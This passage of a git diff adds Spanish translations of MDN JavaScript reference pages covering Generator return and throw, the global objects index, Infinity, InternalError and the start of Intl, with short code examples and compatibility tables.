+g.next(); // { value: 1, done: false }
+g.next(); // { value: 2, done: false }
+g.next(); // { value: 3, done: false }
+g.next(); // { value: undefined, done: true }
+g.return(); // { value: undefined, done: true }
+g.return(1); // { value: 1, done: true }
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-generator.prototype.return', 'Generator.prototype.return')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generator.prototype.return', 'Generator.prototype.return')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad en esta página es generada a partir de datos estructurados. Si quieres contribuir a estos datos, por favor visita <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y manda un pull request.</div>
+
+<p>{{Compat("javascript.builtins.Generator.return")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Sentencias/function*","function*")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/generador/throw/index.html b/files/es/web/javascript/referencia/objetos_globales/generador/throw/index.html
new file mode 100644
index 0000000000..9f4cd76fbe
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/generador/throw/index.html
@@ -0,0 +1,94 @@
+---
+title: Generator.prototype.throw()
+slug: Web/JavaScript/Referencia/Objetos_globales/Generador/throw
+translation_of: Web/JavaScript/Reference/Global_Objects/Generator/throw
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>throw()</strong></code> reanuda la ejecución de un generador al lanzar un error en éste y regresar un objeto con las dos propiedades <code>done</code> y <code>value</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>gen</var>.throw(excepción)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>excepción</code></dt>
+ <dd>La excepción a lanzar. Al hacer depuración, es útil que la excepción cumpla con <code>instanceof</code> {{jsxref("Error")}}.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Un {{jsxref("Object")}} con dos propiedades:</p>
+
+<ul>
+ <li><code>done</code> (booleano)
+
+  <ul>
+   <li>Es <code>verdadero</code> si el iterador ya llegó al final de la secuencia. En este caso <code>valor</code> define opcionalmente el <em>valor de retorno</em> del iterador.</li>
+   <li>Es <code>falso</code> si el iterador puede dar un siguiente valor en la secuencia. Es equivalente a no definir la propiedad <code>done</code>.</li>
+  </ul>
+ </li>
+ <li><code>value</code> - cualquier valor Javascript regresado por el iterador. Éste puede ser omitido si <code>done</code> is <code>verdadero</code>.</li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_throw()">Using <code>throw()</code></h3>
+
+<p>The following example shows a simple generator and an error that is thrown using the <code>throw</code> method. An error can be caught by a <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a></code> block as usual.</p>
+
+<pre class="brush: js">function* gen() {
+  while(true) {
+    try {
+       yield 42;
+    } catch(e) {
+      console.log('Error caught!');
+    }
+  }
+}
+
+var g = gen();
+g.next();
+// { value: 42, done: false }
+g.throw(new Error('Something went wrong'));
+// "Error caught!"
+// { value: 42, done: false }
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-generator.prototype.throw', 'Generator.prototype.throw')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generator.prototype.throw', 'Generator.prototype.throw')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Generator.throw")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">function*</a></code></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/index.html b/files/es/web/javascript/referencia/objetos_globales/index.html
new file mode 100644
index 0000000000..9946b3f648
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/index.html
@@ -0,0 +1,203 @@
+---
+title: Objetos globales
+slug: Web/JavaScript/Referencia/Objetos_globales
+tags:
+  - JavaScript
+  - Referencia
+translation_of: Web/JavaScript/Reference/Global_Objects
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>Este capítulo documenta todo acerca de estándares de Javascript, los objetos integrados en  JavaScript, así como los métodos y propiedades de cada uno.</p>
+
+<p>El término "objetos globales" (u objetos incorporados estándar) aquí no debe confundirse con el <strong>objeto global</strong>. Aquí, los objetos globales se refieren a <strong>objetos en el ámbito global</strong>. Se puede acceder al <strong>objeto global</strong> en sí usando el operador {{jsxref("Operadores/this", "this")}} en el ámbito global (pero solo si no se usa el modo estricto ECMAScript 5, en ese caso devuelve {{jsxref("undefined")}}). De hecho, el alcance global consiste en las propiedades del objeto global, incluidas las propiedades heredadas, si las hay.</p>
+
+<p>Otros objetos en el alcance global son <a href="/es/docs/Web/JavaScript/Guide/Working_with_Objects#Creating_new_objects">creados por el script de usuario</a> o son proporcionados por la aplicación host. Los objetos host disponibles en los contextos del navegador están documentados en la <span style="line-height: 1.5;"><a href="/es/docs/Web/API/Reference">referencia de la API</a></span>. Para obtener más información acerca de la distinción entre <span style="line-height: 1.5;">el <a href="/es/docs/DOM/DOM_Reference">DOM</a> y el núcleo de <a href="/es/docs/Web/JavaScript">JavaScript</a></span>, <span style="line-height: 1.5;">vea <a href="/es/docs/Web/JavaScript/JavaScript_technologies_overview">Introducción a las tecnologías JavaScript</a>.</span></p>
+
+<h2 id="Objetos_estándar_por_categoría">Objetos estándar por categoría</h2>
+
+<h3 id="Propiedades_de_valor">Propiedades de valor</h3>
+
+<p>Estas propiedades globales devuelven un valor simple; ellos no tienen propiedades o métodos.</p>
+
+<ul>
+ <li>{{jsxref("Infinity")}}</li>
+ <li>{{jsxref("NaN")}}</li>
+ <li>{{jsxref("undefined")}}</li>
+ <li>{{jsxref("null")}} literal</li>
+ <li>{{JSxRef("globalThis")}}</li>
+</ul>
+
+<h3 id="Propiedades_de_funciones">Propiedades de funciones</h3>
+
+<p>Estas funciones globales -funciones llamadas globalmente en lugar de un objeto- devuelven directamente sus resultados a la persona que llama.</p>
+
+<ul>
+ <li>{{jsxref("Objetos_globales/eval", "eval()")}}</li>
+ <li>{{jsxref("Objetos_globales/uneval", "uneval()")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Objetos_globales/isFinite", "isFinite()")}}</li>
+ <li>{{jsxref("Objetos_globales/isNaN", "isNaN()")}}</li>
+ <li>{{jsxref("Objetos_globales/parseFloat", "parseFloat()")}}</li>
+ <li>{{jsxref("Objetos_globales/parseInt", "parseInt()")}}</li>
+ <li>{{jsxref("Objetos_globales/decodeURI", "decodeURI()")}}</li>
+ <li>{{jsxref("Objetos_globales/decodeURIComponent", "decodeURIComponent()")}}</li>
+ <li>{{jsxref("Objetos_globales/encodeURI", "encodeURI()")}}</li>
+ <li>{{jsxref("Objetos_globales/encodeURIComponent", "encodeURIComponent()")}}</li>
+ <li>{{jsxref("Objetos_globales/escape", "escape()")}} {{deprecated_inline}}</li>
+ <li>{{jsxref("Objetos_globales/unescape", "unescape()")}} {{deprecated_inline}}</li>
+</ul>
+
+<h3 id="Objetos_fundamentales">Objetos fundamentales</h3>
+
+<p>Estos son los objetos fundamentales y básicos sobre los que se basan todos los demás objetos. Esto incluye objetos que representan objetos generales, funciones y errores.</p>
+
+<ul>
+ <li>{{jsxref("Object")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Boolean")}}</li>
+ <li>{{jsxref("Symbol")}}</li>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("EvalError")}}</li>
+ <li>{{jsxref("InternalError")}}</li>
+ <li>{{jsxref("RangeError")}}</li>
+ <li>{{jsxref("ReferenceError")}}</li>
+ <li>{{jsxref("SyntaxError")}}</li>
+ <li>{{jsxref("TypeError")}}</li>
+ <li>{{jsxref("URIError")}}</li>
+</ul>
+
+<h3 id="Números_y_fechas">Números y fechas</h3>
+
+<p>Estos son los objetos base que representan números, fechas y cálculos matemáticos.</p>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+ <li>{{JSxRef("BigInt")}}</li>
+ <li>{{jsxref("Math")}}</li>
+ <li>{{jsxref("Date")}}</li>
+</ul>
+
+<h3 id="Procesamiento_de_texto">Procesamiento de texto</h3>
+
+<p>Estos objetos representan cadenas y soporte para manipularlos.</p>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+ <li>{{jsxref("RegExp")}}</li>
+</ul>
+
+<h3 id="Colecciones_indexadas">Colecciones indexadas</h3>
+
+<p>Estos objetos representan colecciones de datos que están ordenadas por un valor de índice. Esto incluye matrices (tipadas) y construcciones tipo array.</p>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Int8Array")}}</li>
+ <li>{{jsxref("Uint8Array")}}</li>
+ <li>{{jsxref("Uint8ClampedArray")}}</li>
+ <li>{{jsxref("Int16Array")}}</li>
+ <li>{{jsxref("Uint16Array")}}</li>
+ <li>{{jsxref("Int32Array")}}</li>
+ <li>{{jsxref("Uint32Array")}}</li>
+ <li>{{jsxref("Float32Array")}}</li>
+ <li>{{jsxref("Float64Array")}}</li>
+ <li>{{JSxRef("BigInt64Array")}}</li>
+ <li>{{JSxRef("BigUint64Array")}}</li>
+</ul>
+
+<h3 id="Colecciones_con_clave">Colecciones con clave</h3>
+
+<p>Estos objetos representan colecciones que usan claves; estos contienen elementos que son iterables en el orden de inserción.</p>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
+
+<h3 id="Colecciones_de_vectores">Colecciones de vectores</h3>
+
+<p>Los tipos de datos vectoriales {{Glossary("SIMD")}} son objetos donde los datos se organizan en carriles.</p>
+
+<ul>
+ <li>{{jsxref("SIMD")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Float32x4", "SIMD.Float32x4")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Float64x2", "SIMD.Float64x2")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Int8x16", "SIMD.Int8x16")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Int16x8", "SIMD.Int16x8")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Int32x4", "SIMD.Int32x4")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Uint8x16", "SIMD.Uint8x16")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Uint16x8", "SIMD.Uint16x8")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Uint32x4", "SIMD.Uint32x4")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Bool8x16", "SIMD.Bool8x16")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Bool16x8", "SIMD.Bool16x8")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Bool32x4", "SIMD.Bool32x4")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Bool64x2", "SIMD.Bool64x2")}} {{experimental_inline}}</li>
+</ul>
+
+<h3 id="Datos_estructurados">Datos estructurados</h3>
+
+<p>Estos objetos representan e interactúan con los búferes de datos estructurados y los datos codificados utilizando la notación de objetos JavaScript (JSON del inglés <strong>J</strong>ava<strong>S</strong>cript <strong>O</strong>bject <strong>N</strong>otation).</p>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("SharedArrayBuffer")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Atomics")}} {{experimental_inline}}</li>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("JSON")}}</li>
+</ul>
+
+<h3 id="Objetos_de_abstracción_de_control">Objetos de abstracción de control</h3>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Generator")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li>{{experimental_inline}} {{jsxref("AsyncFunction")}}</li>
+</ul>
+
+<h3 id="Reflexión">Reflexión</h3>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Proxy")}}</li>
+</ul>
+
+<h3 id="Internacionalización">Internacionalización</h3>
+
+<p>Adiciones al núcleo de ECMAScript para funcionalidades sensibles al lenguaje.</p>
+
+<ul>
+ <li>{{jsxref("Intl")}}</li>
+ <li>{{jsxref("Objetos_globales/Collator", "Intl.Collator")}}</li>
+ <li>{{jsxref("Objetos_globales/DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{jsxref("Objetos_globales/NumberFormat", "Intl.NumberFormat")}}</li>
+</ul>
+
+<h3 id="WebAssembly">WebAssembly</h3>
+
+<ul>
+ <li>{{jsxref("WebAssembly")}}</li>
+ <li>{{jsxref("WebAssembly.Module")}}</li>
+ <li>{{jsxref("WebAssembly.Instance")}}</li>
+ <li>{{jsxref("WebAssembly.Memory")}}</li>
+ <li>{{jsxref("WebAssembly.Table")}}</li>
+ <li>{{jsxref("WebAssembly.CompileError")}}</li>
+ <li>{{jsxref("WebAssembly.LinkError")}}</li>
+ <li>{{jsxref("WebAssembly.RuntimeError")}}</li>
+</ul>
+
+<h3 id="Otro">Otro</h3>
+
+<ul>
+ <li>
+  <article>
+  <p>{{JSxRef("Functions/arguments", "arguments")}}</p>
+  </article>
+
+  <article>
+  <header></header>
+  </article>
+ </li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/infinity/index.html b/files/es/web/javascript/referencia/objetos_globales/infinity/index.html
new file mode 100644
index 0000000000..2a0a716eeb
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/infinity/index.html
@@ -0,0 +1,96 @@
+---
+title: Infinity
+slug: Web/JavaScript/Referencia/Objetos_globales/Infinity
+tags:
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/Infinity
+---
+<div>
+ {{jsSidebar("Objects")}}</div>
+<h2 id="Resumen">Resumen</h2>
+<p>La propiedad global <strong><code>Infinity </code></strong>es un valor numérico que representa el infinito.</p>
+<p>{{js_property_attributes(0,0,0)}}</p>
+<h2 id="Sintaxis">Sintaxis</h2>
+<pre class="brush: js">Infinity</pre>
+<h2 id="Description" name="Description" style="padding-top: 0px; padding-left: 0px; border: 0px; line-height: 24px;">Description</h2>
+<p><code>Infinity </code>es una del objeto global, es decir, esta es una variable de alcance global.</p>
+<p>El valor inicial de <code>Infinity</code> es {{jsxref("Number.POSITIVE_INFINITY")}}. El valor de <code>Infinity</code> (infinito positivo) es mayor que cualquier otro numero incluido el mismo. Este valor se comporta matematicamente como el infinito matemático; por ejemplo, cualquier numero multiplicado por <code>Infinity</code> da como resultado <code>Infinity</code>, y cualquier numero divido por <code>Infinity</code> da como resultado cero.</p>
+<p>Para la especificación ECMAScript 5, <code>Infinity </code>es de solo lectura (implementado en JavaScript 1.8.5  / Firefox 4).</p>
+<h2 id="Especificaciones">Especificaciones</h2>
+<table class="standard-table" style="">
+ <tbody>
+  <tr>
+   <th scope="col" style="font-style: inherit;">Especificación</th>
+   <th scope="col" style="font-style: inherit;">Estado</th>
+   <th scope="col" style="font-style: inherit;">Comentario</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1ra edición.</td>
+   <td>Estándar</td>
+   <td>Definición inicial. Implementada en JavaScript 1.3</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.1.2', 'Infinity')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-value-properties-of-the-global-object-infinity', 'Infinity')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Compatibilidad_con_navegadores" style="margin-bottom: 20px; padding-top: 0px; padding-left: 0px; font-size: 28px; border: 0px; line-height: 28px;">Compatibilidad con navegadores</h2>
+<p style="padding-top: 0px; padding-left: 0px; border: 0px;">{{ CompatibilityTable() }}</p>
+<div id="compat-desktop" style="padding-top: 0px; padding-left: 0px; border: 0px;">
+ <table class="compat-table" style="">
+  <tbody>
+   <tr>
+    <th style="font-style: inherit; line-height: 16px;">Característica</th>
+    <th style="font-style: inherit; line-height: 16px;">Chrome</th>
+    <th style="font-style: inherit; line-height: 16px;">Firefox (Gecko)</th>
+    <th style="font-style: inherit; line-height: 16px;">Internet Explorer</th>
+    <th style="font-style: inherit; line-height: 16px;">Opera</th>
+    <th style="font-style: inherit; line-height: 16px;">Safari</th>
+   </tr>
+   <tr>
+    <td>Soporte básico</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile" style="padding-top: 0px; padding-left: 0px; border: 0px;">
+ <table class="compat-table" style="">
+  <tbody>
+   <tr>
+    <th style="font-style: inherit; line-height: 16px;">Característica</th>
+    <th style="font-style: inherit; line-height: 16px;">Android</th>
+    <th style="font-style: inherit; line-height: 16px;">Chrome for Android</th>
+    <th style="font-style: inherit; line-height: 16px;">Firefox Mobile (Gecko)</th>
+    <th style="font-style: inherit; line-height: 16px;">IE Mobile</th>
+    <th style="font-style: inherit; line-height: 16px;">Opera Mobile</th>
+    <th style="font-style: inherit; line-height: 16px;">Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Soporte básico</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+    <td>(Si)</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="See_also" name="See_also" style="margin-bottom: 20px; padding-top: 0px; padding-left: 0px; font-size: 28px; border: 0px; line-height: 28px;">Ver también</h2>
+<ul>
+ <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/internalerror/constructor_internalerror/index.html b/files/es/web/javascript/referencia/objetos_globales/internalerror/constructor_internalerror/index.html
new file mode 100644
index 0000000000..ba895aaff9
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/internalerror/constructor_internalerror/index.html
@@ -0,0 +1,55 @@
+---
+title: Constructor InternalError()
+slug: >-
+  Web/JavaScript/Referencia/Objetos_globales/InternalError/Constructor_InternalError
+tags:
+  - Constructor
+  - JavaScript
+  - Referencia
+translation_of: Web/JavaScript/Reference/Global_Objects/InternalError/InternalError
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>El constructor <strong><code>InternalError()</code></strong> crea un error que indica un error que ocurrió internamente en el motor de JavaScript. Por ejemplo: <strong>"InternalError</strong>: demasiada recursividad".</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">new InternalError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>Opcional. Una descripción del error legible para los humanos.</dd>
+ <dt><code>fileName</code></dt>
+ <dd>Opcional. El nombre del archivo que contiene el código que provocó la excepción.</dd>
+ <dt><code>lineNumber</code></dt>
+ <dd>Opcional. El número de línea del código que provocó la excepción.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Crear_un_nuevo_InternalError">Crear un nuevo <code>InternalError</code></h3>
+
+<pre class="brush: js notranslate">new InternalError("Fallo del motor");
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p><span class="pl-s">No forma parte de ningún estándar.</span></p>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.builtins.InternalError.InternalError")}}</p>
+</div>
+</div>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{JSxRef("Error")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/internalerror/index.html b/files/es/web/javascript/referencia/objetos_globales/internalerror/index.html
new file mode 100644
index 0000000000..e7754d1575
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/internalerror/index.html
@@ -0,0 +1,98 @@
+---
+title: InternalError
+slug: Web/JavaScript/Referencia/Objetos_globales/InternalError
+tags:
+  - Clase
+  - Class
+  - InternalError
+  - JavaScript
+  - Objeto
+translation_of: Web/JavaScript/Reference/Global_Objects/InternalError
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>El objeto <strong><code>InternalError</code></strong> indica un error que se produjo internamente en el motor JavaScript.</p>
+
+<p>Los principalmente casos de ejemplo son cuando algo es demasiado grande, por ejemplo:</p>
+
+<ul>
+ <li>"demasiados casos del switch",</li>
+ <li>"demasiados paréntesis en la expresión regular",</li>
+ <li>"iniciador de arreglo demasiado grande",</li>
+ <li>"demasiada recursividad".</li>
+</ul>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{JSxRef("Global_Objects/InternalError/InternalError", "InternalError()")}}</dt>
+ <dd>Crea un nuevo objeto <code>InternalError</code>.</dd>
+</dl>
+
+<h2 id="Propiedades_de_la_instancia">Propiedades de la instancia</h2>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.message", "InternalError.prototype.message")}}</dt>
+ <dd>Mensaje de error. Heredado de {{JSxRef("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.name", "InternalError.prototype.name")}}</dt>
+ <dd>Nombre del error. Heredado de {{JSxRef("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "InternalError.prototype.fileName")}}</dt>
+ <dd>Ruta al archivo que generó este error. Heredado de {{JSxRef("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "InternalError.prototype.lineNumber")}}</dt>
+ <dd>Número de línea en el archivo que generó este error. Heredado de {{JSxRef("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "InternalError.prototype.columnNumber")}}</dt>
+ <dd>Número de columna en la línea que generó este error. Heredado de {{JSxRef("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "InternalError.prototype.stack")}}</dt>
+ <dd>Seguimiento de la pila. Heredado de {{JSxRef("Error")}}.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Demasiada_recursividad">Demasiada recursividad</h3>
+
+<p>Esta función recursiva se ejecuta 10 veces, según la condición de salida.</p>
+
+<pre class="brush: js notranslate">function loop(x) {
+  if (x &gt;= 10) // "x &gt;= 10" es la condición de salida
+    return;
+  // hacer cosas
+  loop(x + 1); // la llamada recursiva
+}
+loop(0);</pre>
+
+<p>Establecer esta condición en un valor extremadamente alto, no funcionará:</p>
+
+<pre class="brush: js example-bad notranslate">function loop(x) {
+  if (x &gt;= 1000000000000)
+    return;
+  // hacer cosas
+  loop(x + 1);
+}
+loop(0);
+
+// InternalError: demasiada recursividad</pre>
+
+<p>Para obtener más información, consulta {{JSxRef("Errors/Too_much_recursion", "InternalError: demasiada recursividad.")}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p><span class="pl-s">No forma parte de ningún estándar.</span></p>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.builtins.InternalError")}}</p>
+</div>
+</div>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{JSxRef("Error")}}</li>
+ <li>
+  <p>{{JSxRef("Errors/Too_much_recursion", "demasiada recursividad")}}</p>
+ </li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/intl/index.html b/files/es/web/javascript/referencia/objetos_globales/intl/index.html
new file mode 100644
index 0000000000..c1a2a47243
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/intl/index.html
@@ -0,0 +1,126 @@
+---
+title: Intl
+slug: Web/JavaScript/Referencia/Objetos_globales/Intl
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl
+---
+<div>{{JSRef}}</div>
+
+<p>El objeto de ámbito global <strong><code>Intl</code></strong> es el espacio de nombres para el API de Internacionalización de ECMAScript, éste provee comparación de cadenas y formato de números, fechas y tiempos con sensibilidad al lenguaje. Los constructores para los objetos {{jsxref("Collator")}}, {{jsxref("NumberFormat")}}, y {{jsxref("DateTimeFormat")}} son propiedades del objeto <code>Intl</code>. En ésta página se documentan tales propiedades, así como la funcionalidad común a los constructores de internacionalización y otras funciones sensibles al lenguaje.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/Collator", "Intl.Collator")}}</dt>
+ <dd>Constructor para collators, objetos que permiten la comparación de cadenas con sensibilidad al lenguaje.</dd>
+ <dt>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</dt>
+ <dd>Constructor para objetos que permiten el formato de fecha y tiempos con sensibilidad al lenguaje.</dd>
+ <dt>{{jsxref("Global_Objects/NumberFormat", "Intl.NumberFormat")}}</dt>
+ <dd>Constructor para objetos que permiten el formato de números con sensibilidad al lenguaje.</dd>
+ <dt>{{jsxref("Global_Objects/PluralRules", "Intl.PluralRules")}}</dt>
+ <dd><em>Por definir</em></dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{jsxref("Intl.getCanonicalLocales()")}}</dt>
+ <dd>Método que retorna los nombres canónicos de las diferentes variantes de lenguaje.</dd>
+</dl>
+
+<h2 id="Identificación_de_variantes_de_lenguaje_y_negociación">Identificación de variantes de lenguaje y negociación</h2>
+
+<p>Los constructores de internacionalización, así como otros metodos de constructores sensibles al lenguaje (listados bajo {{anch("See_also", "Ver más")}}) siguen un mismo patrón para identificar variantes de lenguaje y determinar aquella a utilizar: todos aceptan los argumentos <code>locales</code> y <code>options</code>, y negocian las variantes requeridas contra aquellas que soportan utilizando un algoritmo especificado en la propiedad <code>options.localeMatcher</code>.</p>
+
+<h3 id="locales"><code>locales</code></h3>
+
+<p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">El argumento </span></font>locales</code> debe ser tanto una cadena que contenga una  <a href="http://tools.ietf.org/html/rfc5646">Etiqueta de Idioma BCP 47</a>, o una matriz de etiquetas de dicho idioma. Si el argumento <code>locales</code> no es provisto o es indefinido, será usado la localicacion predeterminada.</p>
+
+<p>Una etiqueta de idioma BCP 47 define un idioma y minimamente contiene un código primario de idioma. En estos la forma mas comun puede contener, : un código de idioma, un código del sistema de escritura, y un código de país o región, todo separado por guiones. Mientras la etiqueta no es case sensitive, es recomendable usar un titulo para el código del sistema de escritura, mayúsculas para el país y región y minúsculas para todo lo demás.</p>
+
+<p>Ejemplos:</p>
+
+<ul>
+ <li><code>"hi"</code>: Hindi (idioma principal).</li>
+ <li><code>"de-AT"</code>: Alemán usado en Austria (idioma principal con código del país).</li>
+ <li><code>"zh-Hans-CN"</code>: Escritura China en caracteres simplificados como se usa en China (idioma principal con código de escritura y código del país).</li>
+</ul>
+
+<p>Las subetiquetas que identifican idiomas, scripts, países (regiones), y (raramente utilizadas) variantes en las etiquetas de idiomas BCP 47 pueden ser encontradas en el <a href="http://www.iana.org/assignments/language-subtag-registry">Registro de subetiquetas de idioma de la IANA</a>.</p>
+
+<p>BCP 47 permite también extensiones. Las funciones de internacionalización de JavaScript utilizan la extensión <code>"u"</code> (Unicode), misma que puede emplearse para requerir personalizacioón de los objetos {{jsxref("Collator")}}, {{jsxref("NumberFormat")}}, o {{jsxref("DateTimeFormat")}}. A continuación algunos ejemplos:</p>
+
+<ul>
+ <li><code>"de-DE-u-co-phonebk"</code>: Utiliza la variante de guía telefónica del orden de clasificación alemán, que expande las vocales con umlaut a pares de caracteres: ä → ae, ö → oe, ü → ue.</li>
+ <li><code>"th-TH-u-nu-thai"</code>: Utiliza dígitos tailandeses (๐, ๑, ๒, ๓, ๔, ๕, ๖, ๗, ๘, ๙) para formatear números.</li>
+ <li><code>"ja-JP-u-ca-japanese"</code>: Use the Japanese calendar in date and time formatting, so that 2013 is expressed as the year 25 of the Heisei period, or 平成25.</li>
